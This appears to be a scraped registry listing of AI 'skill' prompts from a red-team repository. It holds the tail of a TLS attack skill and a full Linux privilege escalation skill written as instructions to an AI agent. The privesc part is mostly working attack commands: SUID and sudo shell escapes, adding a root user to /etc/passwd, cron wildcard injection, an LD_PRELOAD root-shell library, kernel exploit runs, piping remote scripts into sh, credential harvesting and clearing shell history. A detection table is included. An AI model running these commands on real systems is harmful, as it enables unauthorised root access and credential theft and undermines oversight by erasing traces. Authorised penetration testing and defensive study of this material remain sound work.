(anti-replay mechanisms per RFC 8446 Section 8) and reject 0-RTT data for state-changing operations.\n- **CT monitoring**: Defenders should proactively monitor CT logs for unauthorized certificates issued for their domains. This detects both compromised CAs and domain validation attacks.\n\nRemediation priorities: disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1 entirely; remove all export, NULL, RC4, DES, and 3DES cipher suites; deploy HSTS with `includeSubDomains` and `preload`; disable TLS compression; use TLS 1.3 as the preferred protocol; reject 0-RTT early data for non-idempotent endpoints; implement certificate pinning with backup pins and reporting; enable OCSP stapling.\n\n---\n\n## Engagement Cheatsheet\n\n| Vulnerability | Tool / Check | Indicator |\n|------------------------|-------------------------------|------------------------------------------------|\n| POODLE (SSLv3) | testssl.sh --poodle | SSLv3 with CBC ciphers accepted |\n| DROWN (SSLv2) | testssl.sh --drown | SSLv2 support or shared RSA key with SSLv2 host|\n| FREAK (export ciphers) | testssl.sh --freak | RSA_EXPORT cipher suites accepted |\n| BEAST (TLS 1.0 CBC) | testssl.sh --beast | TLS 1.0 with CBC cipher negotiated |\n| CRIME | testssl.sh --crime | TLS-level compression enabled |\n| BREACH | Content-Encoding: gzip + reflection | HTTP compression + secret + reflected input |\n| Heartbleed | testssl.sh --heartbleed | OpenSSL 1.0.1 to 1.0.1f with heartbeat ext |\n| Cert validation | grep -rn verify=False | Disabled verification in source code |\n| Cert pinning (mobile) | objection / Frida | Pin bypass allows proxy interception |\n| HSTS missing | curl -sI + header check | No Strict-Transport-Security header |\n| 0-RTT replay | openssl s_client -early_data | Server accepts and processes early data |\n| mTLS weakness | openssl s_client -cert | Server accepts rogue client certificates |\n\nProtocol version risk summary:\n- SSLv2: catastrophically broken (DROWN). Must be disabled everywhere.\n- SSLv3: broken (POODLE). Must be disabled everywhere.\n- TLS 1.0: weak (BEAST, deprecated by RFC 8996). Disable.\n- TLS 1.1: no known protocol attacks but deprecated by RFC 8996. Disable.\n- TLS 1.2: secure with correct cipher suite selection (AEAD ciphers only).\n- TLS 1.3: secure. Watch 0-RTT replay for non-idempotent operations.\n\n---\n\n## Key References\n\n- Moller, B. et al. \"This POODLE Bites: Exploiting the SSL 3.0 Fallback.\" Google Security Advisory, 2014.\n- Aviram, N. et al. \"DROWN: Breaking TLS using SSLv2.\" USENIX Security 2016.\n- Beurdouche, B. et al. \"A Messy State of the Union: Taming the Composite State Machines of TLS.\" IEEE S&P 2015.\n- Duong, T. and Rizzo, J. \"Here Come the XOR Ninjas.\" (BEAST) Ekoparty 2011.\n- Rizzo, J. and Duong, T. \"The CRIME Attack.\" Ekoparty 2012.\n- Gluck, Y. et al. \"BREACH: Reviving the CRIME Attack.\" Black Hat USA 2013.\n- CVE-2014-0160: OpenSSL Heartbleed. https://heartbleed.com\n- RFC 8446: The Transport Layer Security (TLS) Protocol Version 1.3, Section 8 (0-RTT and Anti-Replay).\n- RFC 8996: Deprecating TLS 1.0 and TLS 1.1.\n- CWE-295: Improper Certificate Validation.\n- CWE-319: Cleartext Transmission of Sensitive Information.\n- CWE-757: Selection of Less-Secure Algorithm During Negotiation.\n- testssl.sh: https://testssl.sh\n- sslyze: https://github.com/nabla-c0d3/sslyze\n- Frida: https://frida.re\n- Objection: https://github.com/sensepost/objection","schemaVersion":1},"repoUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/crypto/offensive-tls-attacks","tags":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills","prompt"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"Claude-Red","audit":{"files":[],"binaries":[],"findings":[],"packages":0,"auditedAt":"2026-09-25T10:52:29.874Z","lockfiles":[]},"forks":901,"owner":"SnailSploit","stars":6898,"topics":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills"],"license":"MIT","fullName":"SnailSploit/Claude-Red","homepage":null,"language":"Python","pushedAt":"2026-09-19T23:46:22Z","avatarUrl":"https://avatars.githubusercontent.com/u/95986478?v=4","crawledAt":"2026-09-25T10:52:19.624Z","openIssues":15,"manifestFile":"SKILL.md","manifestPath":"Skills/crypto/offensive-tls-attacks/SKILL.md","defaultBranch":"main"},"readme":"# TLS/SSL Attacks and Misconfiguration Exploitation\n\nYou are performing offensive TLS/SSL analysis against target infrastructure. This skill covers the full attack surface of transport layer security -- from protocol-level cryptographic weaknesses to implementation bugs, certificate validation failures, and deployment misconfigurations. You treat every TLS handshake as an opportunity for enumeration and every certificate chain as a trust boundary to probe.\n\n## Quick Workflow\n\n1. Enumerate the target's TLS configuration -- supported protocols, cipher suites, certificate chain, extensions.\n2. Identify deprecated protocols (SSLv2, SSLv3, TLS 1.0, TLS 1.1) and weak cipher suites (export, NULL, RC4, DES, 3DES).\n3. Check for known protocol vulnerabilities -- POODLE, DROWN, FREAK, BEAST, Heartbleed.\n4. Test compression oracle exposure -- CRIME at the TLS layer, BREACH at the HTTP layer.\n5. Validate certificate handling -- chain verification, hostname matching, pinning enforcement, revocation checking.\n6. Assess TLS 1.3 features -- 0-RTT replay, downgrade sentinel presence, supported groups.\n7. For mobile targets, bypass certificate pinning and intercept traffic.\n8. Document findings with protocol evidence and remediation priorities.\n\n---\n\n## TLS Enumeration and Scanning\n\nBegin every TLS engagement with comprehensive enumeration. Use testssl.sh as the primary tool -- it requires no dependencies beyond bash and OpenSSL and produces detailed output covering protocols, ciphers, vulnerabilities, and certificate details.\n\n```bash\n# Full scan with all checks, output to JSON and HTML\ntestssl.sh --jsonfile results.json --htmlfile results.html \\\n --ip one --sneaky --warnings batch \\\n target.com:443\n\n# Quick protocol and cipher check\ntestssl.sh --protocols --ciphers target.com:443\n\n# Check only for specific vulnerabilities\ntestssl.sh --heartbleed --ccs-injection --ticketbleed \\\n --robot --poodle --beast --crime --breach --drown --freak \\\n --logjam --sweet32 target.com:443\n\n# Scan multiple targets from a file\ntestssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json\n```\n\nUse sslyze for Python-integrated scanning and CI/CD pipeline integration:\n\n```bash\n# Standard scan with all plugins\nsslyze --regular target.com\n\n# JSON output for programmatic processing\nsslyze --json_out results.json target.com\n\n# Check specific vulnerability classes\nsslyze --heartbleed --openssl_ccs --robot target.com\n\n# Scan with client certificate authentication\nsslyze --cert /path/to/client.pem --key /path/to/client.key target.com\n```\n\nUse sslscan for rapid cipher enumeration and tlsx for high-speed probing at scale:\n\n```bash\n# sslscan quick enumeration\nsslscan --no-fallback target.com:443\n\n# tlsx high-speed probing across many hosts\ncat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json\n\n# tlsx specific checks\ncat hosts.txt | tlsx -san -cn -so -json # Extract SANs, CNs, server orgs\ncat hosts.txt | tlsx -tls-version tls10 # Find hosts still accepting TLS 1.0\ncat hosts.txt | tlsx -expired -self-signed -mismatched # Certificate issues\n```\n\n---\n\n## Protocol Downgrade Attacks\n\nProtocol downgrade attacks force a TLS connection to negotiate a weaker protocol version that has known vulnerabilities. These attacks exploit the backward-compatible fallback mechanisms built into TLS.\n\n**POODLE (CVE-2014-3566)** exploits the non-deterministic padding in SSLv3 CBC mode. Unlike TLS, SSLv3 does not specify the padding byte values, and the receiver does not verify them -- only the padding length byte matters. This allows an active attacker to decrypt one byte of plaintext per 256 requests on average.\n\n```bash\n# Check if the target supports SSLv3\ntestssl.sh --poodle target.com:443\nopenssl s_client -ssl3 -connect target.com:443\n\n# TLS POODLE variant: check for CBC padding oracle in TLS implementations\ntestssl.sh --poodle target.com:443\n# Look for \"POODLE, TLS\" in output -- indicates vulnerable TLS implementation\n```\n\n**DROWN (CVE-2016-0800)** is a cross-protoco","createdAt":"2026-09-25T10:52:30.589Z","updatedAt":"2026-09-25T10:52:30.589Z"},{"id":"cmugudde8016equ0629wcnjut","slug":"snailsploit-claude-red-offensive-linux-privesc","name":"offensive-linux-privesc","description":"Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195, PwnKit CVE-2021-4034), Docker group container escapes, LD_PRELOAD and LD_LIBRARY_PATH hijacking for shared library injection, systemd service misconfigurations, and sensitive file enumeration for credential harvesting. Integrates automated enumeration with LinPEAS, linux-exploit-suggester, pspy for process monitoring, and GTFOBins for binary exploitation. Each technique includes detection signatures and defender-side visibility to support purple team operations. Maps to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and related sub-techniques. Designed for authorized penetration testing, red team engagements, and CTF competitions where you hold a low-privilege shell and need to escalate to root.","authorId":"gh:snailsploit","authorName":"SnailSploit","version":"0.1.0","category":"Prompt","securityLevel":"Sandbox","downloadsCount":0,"githubStars":6898,"pricePerCall":0,"manifest":{"name":"offensive-linux-privesc","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195, PwnKit CVE-2021-4034), Docker group container escapes, LD_PRELOAD and LD_LIBRARY_PATH hijacking for shared library injection, systemd service misconfigurations, and sensitive file enumeration for credential harvesting. Integrates automated enumeration with LinPEAS, linux-exploit-suggester, pspy for process monitoring, and GTFOBins for binary exploitation. Each technique includes detection signatures and defender-side visibility to support purple team operations. Maps to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and related sub-techniques. Designed for authorized penetration testing, red team engagements, and CTF competitions where you hold a low-privilege shell and need to escalate to root.","permissions":[],"systemPrompt":"# Linux Privilege Escalation\n\nYou have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.\n\nEvery engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.\n\n## Quick Workflow\n\n1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.\n2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.\n3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.\n4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.\n5. Check for NFS shares with no_root_squash and Docker group membership.\n6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.\n7. Validate the escalation path, document the chain, and clean up artifacts.\n\n---\n\n## Automated Enumeration\n\nBefore manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.\n\n```bash\n# LinPEAS -- transfer and execute\ncurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out\n\n# Minimal execution to reduce noise on monitored systems\n./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out\n\n# Kernel exploit suggestion\n./linux-exploit-suggester.sh --uname \"$(uname -r)\"\n\n# pspy -- monitor processes without root (watches procfs)\n./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out\n```\n\nReview LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.\n\n---\n\n## SUID/SGID Binary Abuse\n\nSUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.\n\n### Enumeration\n\n```bash\n# Find all SUID/SGID binaries\nfind / -perm -4000 -type f 2>/dev/null\nfind / -perm -2000 -type f 2>/dev/null\nfind / -perm -u=s -type f -exec ls -la {} \\; 2>/dev/null\n```\n\n### Exploitation via GTFOBins\n\n```bash\n# If find is SUID\nfind . -exec /bin/sh -p \\;\n\n# If vim is SUID\nvim -c ':!/bin/sh'\n\n# If python3 is SUID\npython3 -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'\n\n# If cp is SUID -- overwrite /etc/passwd\ncp /etc/passwd /dev/shm/passwd.bak\necho 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified\ncp /dev/shm/passwd_modified /etc/passwd\n\n# If bash is SUID\nbash -p\n\n# If nmap (old interactive mode) is SUID\nnmap --interactive\n!sh\n```\n\n### Custom SUID Binary Analysis\n\n```bash\n# Check what libraries a SUID binary loads\nldd /usr/local/bin/custom_suid\nstrace /usr/local/bin/custom_suid 2>&1 | grep -i open\n\n# Check for relative path calls in the binary\nstrings /usr/local/bin/custom_suid | grep -E '^[a-z]'\nltrace /usr/local/bin/custom_suid 2>&1\n```\n\nIf a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.\n\n---\n\n## Linux Capabilities Exploitation\n\nCapabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.\n\n```bash\n# Find binaries with capabilities set\ngetcap -r / 2>/dev/null\n```\n\n### Exploitation\n\n```bash\n# cap_setuid on python3\npython3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n\n# cap_setuid on perl\nperl -e 'use POSIX qw(setuid); setuid(0); exec \"/bin/bash\";'\n\n# cap_dac_override on vim (read/write any file)\nvim /etc/shadow\n\n# cap_dac_read_search on tar (read any file)\ntar czf /dev/shm/shadow.tar.gz /etc/shadow\ntar xzf /dev/shm/shadow.tar.gz -C /dev/shm/\n\n```\n\nCapabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.\n\n---\n\n## Sudo Misconfigurations\n\nSudo rules are the most common privilege escalation vector in real engagements. Check `sudo -l` immediately upon gaining a shell.\n\n```bash\n# List sudo permissions for current user\nsudo -l\nsudo --version\ncat /etc/sudoers 2>/dev/null\n```\n\n### NOPASSWD Exploitation\n\n```bash\n# If sudo allows vi/vim NOPASSWD\nsudo vim -c '!bash'\n\n# If sudo allows less NOPASSWD\nsudo less /etc/shadow\n!/bin/bash\n\n# If sudo allows awk NOPASSWD\nsudo awk 'BEGIN {system(\"/bin/bash\")}'\n\n# If sudo allows find NOPASSWD\nsudo find /tmp -exec /bin/bash \\;\n\n# If sudo allows env NOPASSWD (LD_PRELOAD)\n# See LD_PRELOAD section below\n\n# If sudo allows a script you can write to\necho '/bin/bash' > /path/to/writable_script.sh\nsudo /path/to/writable_script.sh\n\n# If sudo allows running as another user\nsudo -u targetuser /bin/bash\n```\n\n### Baron Samedit -- CVE-2021-3156\n\n```bash\n# Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)\nsudoedit -s '\\' $(python3 -c 'print(\"A\"*1000)')\n# If it crashes/segfaults, it is likely vulnerable\n\n# Exploit (multiple public PoCs available)\ngit clone https://github.com/blasty/CVE-2021-3156.git\ncd CVE-2021-3156\nmake\n./sudo-hax-me-a-sandwich \n\n# Check target OS for correct offset\ncat /etc/os-release\n```\n\nThis heap-based buffer overflow in sudoedit affects a wide range of Linux distributions. It provides direct root access without needing any sudo permissions.\n\n---\n\n## Cron Job Abuse\n\nCron jobs run on schedules with the privileges of the cron owner. Writable scripts, PATH misconfigurations, and wildcard expansion create escalation paths.\n\n### Enumeration\n\n```bash\n# System crontabs\ncat /etc/crontab\nls -la /etc/cron.d/\nls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/\n\n# User crontabs\ncrontab -l\nls -la /var/spool/cron/crontabs/ 2>/dev/null\n\n# Use pspy to discover hidden cron jobs\n./pspy64 -pf -i 1000\n\n# Check for writable scripts called by cron\nfor f in $(grep -r '/' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -oP '/\\S+'); do\n ls -la \"$f\" 2>/dev/null\ndone\n```\n\n### Writable Cron Script\n\n```bash\n# If a root cron job calls a writable script\necho 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable_cron_script.sh\n\n# Wait for cron execution, then\n/tmp/rootbash -p\n```\n\n### PATH Hijacking in Cron\n\n```bash\n# If crontab has PATH=/home/user/bin:/usr/local/sbin:...\n# And a cron job calls \"backup.sh\" without full path\necho '#!/bin/bash' > /home/user/bin/backup.sh\necho 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/bin/backup.sh\nchmod +x /home/user/bin/backup.sh\n```\n\n### Wildcard Injection\n\n```bash\n# If a root cron job runs: tar czf /backup/archive.tar.gz *\n# In the target directory, create files that become tar flags\ncd /target/directory\necho '' > '--checkpoint=1'\necho '' > '--checkpoint-action=exec=sh privesc.sh'\necho '#!/bin/bash' > privesc.sh\necho 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh\nchmod +x privesc.sh\n\n# Similar attack with rsync wildcard\necho '' > '-e sh privesc.sh'\n\n# Similar attack with chown (e.g., chown user:user *)\necho '' > '--reference=/path/to/attacker_owned_file'\n```\n\n---\n\n## Writable /etc/passwd\n\nIf /etc/passwd is world-writable (a severe misconfiguration), you can add a root-equivalent user directly.\n\n```bash\n# Check permissions\nls -la /etc/passwd\n\n# Generate password hash\nopenssl passwd -1 -salt hacker password123\n# Output: $1$hacker$6luIRwdGpBvXdP.GMwcZp/\n\n# Append a new root user\necho 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd\n\n# Or replace root's password hash (more detectable)\n# Switch to the new user\nsu hacker\n# Password: password123\n\n# Alternative: use mkpasswd if available\nmkpasswd -m sha-512 password123\n```\n\n---\n\n## NFS no_root_squash Exploitation\n\nWhen an NFS export is configured with `no_root_squash`, the remote root user retains root privileges on the share. This allows creating SUID binaries from an attacker-controlled machine.\n\n```bash\n# On the target -- enumerate NFS shares\ncat /etc/exports\nshowmount -e localhost\n\n# Look for no_root_squash\ngrep -i \"no_root_squash\" /etc/exports\n\n# On your attack machine (as root)\nmkdir /tmp/nfs_mount\nmount -t nfs target_ip:/shared_directory /tmp/nfs_mount\n\n# Create a SUID shell\ncp /bin/bash /tmp/nfs_mount/rootbash\nchmod +s /tmp/nfs_mount/rootbash\n\n# On the target\n/shared_directory/rootbash -p\n```\n\n---\n\n## Kernel Exploits\n\nKernel exploits are high-impact but carry stability risks. Use them when cleaner vectors are unavailable. Always check the kernel version and distribution first.\n\n### Fingerprinting\n\n```bash\nuname -a\nuname -r\ncat /etc/os-release\ncat /proc/version\n```\n\n### DirtyPipe -- CVE-2022-0847\n\n```bash\n# Affects Linux kernel 5.8 through 5.16.10, 5.15.25, 5.10.102\n# Overwrites read-only files by splicing into page cache\n\n# Compile the exploit\ngcc -o dirtypipe exploit.c\n./dirtypipe /etc/passwd 1 \"${replacement_line}\"\n\n# Or use the SUID variant\ngcc -o dirtypipez dirtypipez.c\n./dirtypipez\n# Spawns a root shell by overwriting a SUID binary temporarily\n```\n\n### DirtyCow -- CVE-2016-5195\n\n```bash\n# Affects Linux kernel 2.x through 4.x before 4.8.3\n# Race condition in copy-on-write mechanism\n\n# The /etc/passwd overwrite variant\ngcc -pthread dirty.c -o dirty -lcrypt\n./dirty password123\n# Overwrites root entry in /etc/passwd\n\n# The SUID binary variant (firefart)\ngcc -pthread cowroot.c -o cowroot\n./cowroot\n```\n\n### PwnKit -- CVE-2021-4034\n\n```bash\n# Affects polkit pkexec (virtually all Linux distros with polkit installed)\n# Memory corruption via crafted environment variables\n\n# Compile and run\ngcc -shared -fPIC -o pwnkit.so pwnkit.c\ngcc -o pwnkit exploit.c\n./pwnkit\n\n# One-liner PoC (if available)\ncurl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit\nchmod +x PwnKit\n./PwnKit\n```\n\nKernel exploits may crash the system. On production targets, confirm the exact kernel version, test in a lab environment first, and have a rollback plan. Prefer the DirtyPipe SUID variant or PwnKit for stability.\n\n---\n\n## Docker Group Escape\n\nMembership in the `docker` group grants effective root access. Docker allows mounting the host filesystem into a container.\n\n```bash\n# Confirm group membership\nid\ngroups\n\n# Mount the host root filesystem\ndocker run -v /:/hostfs -it ubuntu /bin/bash\n\n# Inside the container, access host filesystem\ncat /hostfs/etc/shadow\nchroot /hostfs /bin/bash\n\n# Create a SUID bash on the host\ncp /hostfs/bin/bash /hostfs/tmp/rootbash\nchmod +s /hostfs/tmp/rootbash\n\n# Alternative: use docker socket directly\ndocker run -v /:/mnt --rm -it alpine chroot /mnt sh\n```\n\nLXD/LXC group membership provides a similar attack surface. Build a privileged container and mount the host filesystem.\n\n---\n\n## LD_PRELOAD and LD_LIBRARY_PATH Hijacking\n\nWhen sudo preserves `env_keep += LD_PRELOAD` or `env_keep += LD_LIBRARY_PATH`, you can inject a shared library that executes arbitrary code as root.\n\n### LD_PRELOAD\n\n```c\n// preload.c -- compile and load via sudo\n#include \n#include \n#include \n\nvoid _init() {\n unsetenv(\"LD_PRELOAD\");\n setresuid(0, 0, 0);\n system(\"/bin/bash -p\");\n}\n```\n\n```bash\n# Compile\ngcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c\n\n# Execute with sudo (requires env_keep += LD_PRELOAD in sudoers)\nsudo LD_PRELOAD=/tmp/preload.so /usr/bin/any_allowed_command\n```\n\n### LD_LIBRARY_PATH\n\n```bash\n# Find shared libraries used by a sudo-allowed binary\nldd /usr/sbin/apache2\n\n# Create a malicious replacement\n# Target a library like libcrypt.so.1\ngcc -fPIC -shared -o /tmp/libcrypt.so.1 preload.c\n\n# Execute with sudo\nsudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2\n```\n\nYou can also hijack shared libraries loaded by SUID binaries. Use `strace` to find missing library loads from writable directories, then place your malicious `.so` there.\n\n---\n\n## Service Misconfigurations\n\nWritable service files or binaries referenced by services running as root create escalation opportunities.\n\n```bash\n# Find writable service files\nfind /etc/systemd/system/ /lib/systemd/system/ /etc/init.d/ -writable -type f 2>/dev/null\n\n# Overwrite a writable service binary\ncp /path/to/service_binary /path/to/service_binary.bak\necho -e '#!/bin/bash\\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\\n/path/to/service_binary.bak \"$@\"' > /path/to/service_binary\nchmod +x /path/to/service_binary\n\n# Create a malicious systemd service (if you can write to the service directory)\ncat << 'EOF' > /etc/systemd/system/escalate.service\n[Unit]\nDescription=Escalation\n[Service]\nType=oneshot\nExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'\n[Install]\nWantedBy=multi-user.target\nEOF\nsystemctl daemon-reload && systemctl start escalate.service\n```\n\n---\n\n## Sensitive File Enumeration\n\nCredential harvesting from files can provide lateral movement or direct escalation paths.\n\n```bash\n# SSH keys\nfind / -name \"id_rsa\" -o -name \"id_ed25519\" -o -name \"*.pem\" 2>/dev/null\nfind / -name \"authorized_keys\" 2>/dev/null\n\n# History files\ncat ~/.bash_history\nfind / -name \".*history\" -exec cat {} \\; 2>/dev/null\n\n# Configuration files with credentials\ngrep -rl \"pass\\|pwd\\|token\\|secret\\|key\" /etc/ /opt/ /var/www/ /home/ 2>/dev/null\ncat /var/www/*/wp-config.php /var/www/*/.env 2>/dev/null\n\n# Backup files and shadow\nfind / -name \"*.bak\" -o -name \"*.old\" -o -name \"*.backup\" 2>/dev/null\ncat /etc/shadow 2>/dev/null\nls -la /etc/shadow\n```\n\n---\n\n## Detection / Defender View\n\nEvery technique above leaves traces. Understanding detection surfaces helps you operate more carefully and helps blue teams build monitoring.\n\n| Technique | Detection Indicator |\n|---|---|\n| LinPEAS/enumeration | Process execution of curl piped to sh, large bursts of file access in /proc, /etc, /sys |\n| SUID abuse | Execution of SUID binaries from unusual parent processes, shell spawning from SUID context |\n| Capabilities abuse | Unexpected setuid(0) calls from non-SUID processes, audit logs for CAP_SETUID usage |\n| Sudo exploitation | Auth logs showing sudo usage for unusual commands, sudoers file modification timestamps |\n| CVE-2021-3156 | sudoedit crash logs, coredumps, heap corruption signatures in audit logs |\n| Cron hijacking | Modified cron scripts (integrity monitoring), new files with tar flag names |\n| /etc/passwd writes | File integrity monitoring alerts, new UID 0 entries, inotify watches |\n| NFS SUID creation | New SUID files appearing on NFS mounts, NFS audit logs on the server |\n| Kernel exploits | Kernel oops/panic messages, unexpected root process spawning, crash dumps |\n| Docker escape | Docker API calls, container creation with host mounts, docker.sock access |\n| LD_PRELOAD | Environment variable logging, unexpected shared library loads in audit logs |\n\nKey log locations:\n\n```bash\n# Defenders should monitor\n/var/log/auth.log # sudo usage, su attempts, authentication events\n/var/log/syslog # system events, cron execution\n/var/log/kern.log # kernel exploits, crashes\n/var/log/audit/audit.log # auditd events (execve, capability use, file access)\njournalctl -u # per-service systemd logs\n```\n\n---\n\n## Engagement Cheatsheet\n\n```text\nPHASE 1 -- ENUMERATE\n sudo -l # First command. Always.\n id && groups # Docker/lxd group?\n find / -perm -4000 -type f 2>/dev/null # SUID binaries\n getcap -r / 2>/dev/null # Capabilities\n cat /etc/crontab && ls -la /etc/cron.* # Cron jobs\n ls -la /etc/passwd /etc/shadow # File permissions\n cat /etc/exports 2>/dev/null # NFS shares\n uname -a && cat /etc/os-release # Kernel version\n\nPHASE 2 -- QUICK WINS\n GTFOBins lookup for SUID/sudo binaries # https://gtfobins.github.io\n sudo vim -c '!bash' # Sudo escape\n python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")' # cap_setuid\n bash -p # SUID bash\n\nPHASE 3 -- ESCALATION\n Writable cron script injection\n PATH hijack in cron or SUID binary\n LD_PRELOAD via sudo env_keep\n Docker mount host filesystem\n /etc/passwd append (if writable)\n\nPHASE 4 -- KERNEL (last resort)\n linux-exploit-suggester.sh\n DirtyPipe -> kernel 5.8-5.16\n PwnKit -> polkit pkexec (most distros)\n DirtyCow -> kernel 2.x-4.x\n Baron Samedit -> sudo 1.8.2-1.9.5p1\n\nCLEANUP\n Remove SUID shells from /tmp\n Restore modified files from backups\n Clear command history: history -c && unset HISTFILE\n Remove uploaded tools from /dev/shm, /tmp\n```\n\n---\n\n## Key References\n\n- GTFOBins -- Unix binaries for privilege escalation: https://gtfobins.github.io\n- LinPEAS -- Linux Privilege Escalation Awesome Script: https://github.com/peass-ng/PEASS-ng\n- linux-exploit-suggester: https://github.com/The-Z-Labs/linux-exploit-suggester\n- pspy -- unprivileged Linux process snooping: https://github.com/DominicBreuker/pspy\n- HackTricks Linux Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation\n- CVE-2021-3156 (Baron Samedit): https://nvd.nist.gov/vuln/detail/CVE-2021-3156\n- CVE-2022-0847 (DirtyPipe): https://dirtypipe.cm4all.com/\n- CVE-2016-5195 (DirtyCow): https://dirtycow.ninja/\n- CVE-2021-4034 (PwnKit): https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034\n- MITRE ATT&CK T1548 -- Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/","schemaVersion":1},"repoUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/privesc/offensive-linux-privesc","tags":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills","prompt"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"Claude-Red","audit":{"files":[],"binaries":[],"findings":[],"packages":0,"auditedAt":"2026-09-25T10:52:29.874Z","lockfiles":[]},"forks":901,"owner":"SnailSploit","stars":6898,"topics":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills"],"license":"MIT","fullName":"SnailSploit/Claude-Red","homepage":null,"language":"Python","pushedAt":"2026-09-19T23:46:22Z","avatarUrl":"https://avatars.githubusercontent.com/u/95986478?v=4","crawledAt":"2026-09-25T10:52:19.624Z","openIssues":15,"manifestFile":"SKILL.md","manifestPath":"Skills/privesc/offensive-linux-privesc/SKILL.md","defaultBranch":"main"},"readme":"# Linux Privilege Escalation\n\nYou have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.\n\nEvery engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.\n\n## Quick Workflow\n\n1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.\n2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.\n3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.\n4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.\n5. Check for NFS shares with no_root_squash and Docker group membership.\n6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.\n7. Validate the escalation path, document the chain, and clean up artifacts.\n\n---\n\n## Automated Enumeration\n\nBefore manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.\n\n```bash\n# LinPEAS -- transfer and execute\ncurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out\n\n# Minimal execution to reduce noise on monitored systems\n./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out\n\n# Kernel 